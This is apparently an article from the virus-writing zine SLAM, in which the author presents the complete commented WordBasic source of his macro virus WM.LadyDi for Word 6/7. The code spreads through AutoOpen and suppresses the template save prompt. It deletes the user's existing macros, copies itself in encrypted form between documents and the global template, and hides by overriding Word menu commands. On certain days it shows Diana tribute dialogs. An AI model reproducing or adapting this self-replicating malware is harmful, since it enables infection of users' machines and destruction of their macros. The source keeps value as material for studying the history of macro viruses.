 SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM
 |                                                                        |
 S            @}---`---,--- WordMacro.LadyDi @}---`---,---                S
 L                                                                        L
 |                                By                                      |
 A                                                                        A
 M                           Kid Chaos [SLAM]                             M
 |                                                                        |
 SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM

Name           : WM.LadyDi 
Version        : B
Language       : WordBasic
Author         : Kid Chaos [SLAM]
Target         : everything under Word 6/7 ;)
Size           : 2806 bytes 
Total macros   : nine 
Stealth        : Yes
Encrypt        : Yes
Description  : This WordMacro is my first macrovirus! I've finished the first
             version in November 97, I've added delete macro rutines and Rnd() 
             in tribute macro for this second version . (both versions:
             WM.LadyDi.A and WM.LadyDi.B has been included in SLAM#4)
             
             WM.LadyDi spread using AutoOpen macro and replace the following
             Word options :
           / - ToolsMacro
          /  - ToolsOptions
     (*) <   - ToolsCustomize
          \  - FileTemplates 
           \ - HelpAbout
             So, when infect check for previous installed else remove from
             template/document foreign macros as:
             - Other macrovirus
             - User's macros
             The activation day is: 1, 15, 16, 19, 30 and 31 of every mounth
             when the user select the Word options (*), close the document 
             and if the random condition is true then show a User Dialog 
             with the song "Candle in the Wind" a special version for the
             funeral of Diana Spencer. 
             The macrovirus is full commented in this article (comments
             are not part of original WordBasic code).

Greets:      All SLAM members and all VX friends (i have a lot) ;)

====================
Macro name: LadyDi 
--------------------
Sub MAIN
R$ = "@}---`---,---"                           ' Define ASCII Rose
                                               ' Title of User Dialog
Begin Dialog UserDialog 514, 326, \
R$ + " Lady Di Tribute by Kid Chaos [SLAM] " + R$
                                               ' Put Down Button
PushButton 103, 289, 280, 21, \
"In memory of Diana Spencer (1961-97)", .Push1
                                               ' Define part of song
                                               ' "Candle in the Wind"
A$ = R$ + " Goodbye England's rose;                   " + R$
B$ = R$ + " may you ever grow in our hearts.        " + R$
C$ = R$ + " You were the grace that placed itself " + R$
D$ = R$ + " where lives were torn apart                " + R$
E$ = R$ + " You called out to our country,            " + R$
F$ = R$ + " and you whispered to those in pain.   " + R$
G$ = R$ + " Now you belong to heaven,                " + R$
H$ = R$ + " and the stars spell out your name.       " + R$
I$ = R$ + " And it sems to me you lived your life    " + R$
J$ = R$ + " like a candle in the wind;                     " + R$
K$ = R$ + " never fading with the sunset                 " + R$
L$ = R$ + " when the rain set in                               " + R$
M$ = R$ + " And your footsteps will always fall here, " + R$
N$ = R$ + " along England's greenest hills;              " + R$
O$ = R$ + " your candle's burned out Long before   " + R$
P$ = R$ + " your legend ever will                             " + R$
                                               ' Put the song on User Dialog
        Text 87, 20, 410, 27, A$               ' Put first text line 
        Text 87, 34, 410, 27, B$               ' Put second text line
        Text 87, 48, 410, 27, C$               ' Put following text line....
	Text 87, 60, 410, 27, D$
	Text 87,  74, 410, 27, E$
	Text 87,  88, 410, 27, F$
	Text 87, 102, 410, 27, G$
	Text 87, 116, 410, 27, H$
        Text 87, 150, 410, 27, I$
 	Text 87, 164, 410, 27, J$
        Text 87, 178, 410, 27, K$
 	Text 87, 192, 410, 27, L$
	Text 87, 206, 410, 27, M$
	Text 87, 220, 410, 27, N$
	Text 87, 234, 410, 27, O$
	Text 87, 248, 410, 27, P$                                                   
End Dialog                                      ' User Dialog is done
Dim Dlg As UserDialog
Dialog Dlg
End Sub

====================
Macro name: Tribute 
--------------------
Sub MAIN
R$ = "@}---`---,---"                            ' Define ASCII Rose
If Day(Now()) = 30 Or Day(Now()) = 31 Then      ' Ask if today is 30th
                                                ' or 31th
   If Rnd() < 0.2 Then                          ' Is random number < 0.2 ? 
   Call LadyDi                                  ' Run macro LadyDi
   End If
ElseIf Day(Now()) = 15 Or Day(Now()) = 16 Then  ' Else, Ask if today is
                                                ' 15th or 16th
   If Rnd() < 0.3 Then                          ' Is random number < 0.3 ?
                                                ' Put message Box about me
                                                ' ;-)
   MsgBox "(c)1997 Kid Chaos Production ", "SLAM VIRUS TEAM",  16
   End If

ElseIf Day(Now()) = 1 Or Day(Now()) = 19 Then   ' Else, Ask if today is 1th
                                                ' or 19th
  If Rnd() < 0.4 Then                           ' Is random number < 0.4 ? 
                                                ' Show message box 
  MsgBox " press any key to continue... ", R$ + " Diana Tribute " + R$, 64
  Call LadyDi                                   ' Run macro LadyDi
  End If
EndIf
End Sub

=====================
Macro name: AutoOpen 
---------------------
Sub MAIN
REM Lady Di tribute by Kid Chaos of SLAM Virus Team
On Error Goto Spencer                          ' Handle error 
ToolsOptionsSave .GlobalDotPrompt = 0          ' Disables global template
                                               ' write access warnings
A$ = FileName$()                               ' Set Filename and "Global"
B$ = "Global"
                                               ' Check infected template
                                               ' already
If TV Then                                     ' If TV is true then remove
                                               ' old macros and spread to
                                               ' template!
      If (CountMacros(0) > 0) Then             ' Count macros from template
                                               ' If exist other macro then
                                               ' remove it!
      For I = CountMacros(0) To 1 Step - 1     ' Loop start here
                                               ' Declares Show=0 (template)
                                               ' Remove current macro 
ToolsMacro .Name = MacroName$(I, 0), .Show = 0, .Delete
          Next                                 ' Continue loop
                                               ' Loop stop here
      End If                                   ' All macros has been removed 
                                               ' Now, copy all macros from
                                               ' document to template
      For I = CountMacros(1) To 1 Step - 1     ' Loop start here 
          M$ = ":" + MacroName$(I, 1)          ' Get the macros names from
                                               ' document.
          MacroCopy A$ + M$, B$ + M$, 1        ' Copy and encrypt macros.
      Next
Else                                           ' The template was infected               
                                               ' then check infected document
                                               ' already.
If FV Then
     If (CountMacros(1) > 0) Then              ' Count macros from document.
     For I = CountMacros(1) To 1 Step - 1      ' If exist macro remove it!. 
                                               ' Declares Show=3 (document).
ToolsMacro .Name = MacroName$(I, 1), .Show = 3, .Delete
          Next                                 ' continue loop.                               continue loop                                   continue loop    
      End If                                   ' loop stop here.       
      FileSaveAs .Name = A$, .Format = 1       ' Save document as template. 
                                               ' Copy all macros from template
                                               ' to document.
      For I = CountMacros(0) To 1 Step - 1
          M$ = ":" + MacroName$(I, 0)          ' get the macros names from
                                               ' template
         MacroCopy B$ + M$, A$ + M$, 1         ' copy and encrypt macros
      Next
End If
End If
Spencer:
End Sub


Function TV                                    ' TV=Template Validate function
TV = 1                                         ' Declare true, assume the
                                               ' template is clean (don't
                                               ' infected by LadyDi)
For k = 1 To CountMacros(0)                    ' Read number of macros in
                                               ' template
               
If MacroName$(k, 0) = "LadyDi" Then TV = 0     ' If LadyDi is installed then
                                               ' declare false (TV) 
Next k
End Function


Function FV                                    ' FV = File Validate function  
FV = 1                                         ' Declare true, assume the
                                               ' document is clean
For k = 1 To CountMacros(1)                    ' Read number of macros in
                                               ' document
If MacroName$(k, 1) = "LadyDi" Then FV = 0     ' If LadyDi is installed then
                                               ' declare false (TV)
Next k
End Function

==================================================================
Macro names: AutoClose, ToolsMacro, ToolsOptions, FileTemplates
             & ToolsCustomize  
------------------------------------------------------------------
Sub MAIN
Call tribute                                   ' Run macro Tribute
End Sub

======================
Macro name: HelpAbout 
----------------------
Sub MAIN
                                               ' Show about M$ Word ;-)
MsgBox "-----> Kid Chaos [SLAM] <-----", "Micro$uck Word", 16
Call tribute                                   ' Run tribute macro
End Sub

